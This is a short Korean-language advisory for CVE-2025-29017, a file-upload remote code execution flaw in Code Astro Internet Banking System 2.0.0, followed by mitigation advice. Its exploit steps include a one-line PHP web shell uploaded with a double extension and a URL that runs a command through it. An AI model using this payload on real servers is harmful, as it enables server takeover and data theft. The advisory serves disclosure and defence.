CVE-2025-29017 - 인터넷 뱅킹 시스템 2.0.0 프로필 사진 업로드를 통한 원격 코드 실행

설명

Code Astro Internet Banking System 2.0.0에서 pages_view_client.php의 profile_pic 매개변수에 대한 파일 업로드 검증 부재로 인해 원격 코드 실행(RCE) 취약점이 존재합니다. 공격자는 업로드 요청을 수정하여 보안 검사를 우회하고 임의 코드 실행을 유발할 수 있습니다.

영향을 받는 구성 요소

• pages_view_client.php의 profile_pic 매개변수
• 업로드 기능으로 악성 PHP 파일 실행 가능

익스플로잇 단계

1. 사용자 프로필 설정으로 이동하여 새 프로필 사진을 선택합니다.

2. Burp Suite와 같은 도구를 사용하여 프로필 사진 업로드 요청을 가로챕니다.

3. 파일을 이중 확장자(.jpeg.php)로 수정하고, Content-Type 헤더를 application/x-php로 변경한 후 악성 PHP 코드를 추가합니다:

<?php system($_GET['cmd']); ?>

4. 파일이 /admin/dist/img/에 업로드되었는지 확인할 수 있습니다:

http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt

영향

• 전체 서버 장악
• 데이터 탈취
• 권한 상승

완화 방법

• 파일 업로드를 이미지 형식으로만 제한하고 MIME 유형을 확인합니다.
• 파일 이름을 정리하고 실행 가능한 코드가 포함된 파일을 차단합니다.
• 업로드된 파일을 웹 루트 외부에 저장합니다.

참고 자료

• OWASP 파일 업로드 보안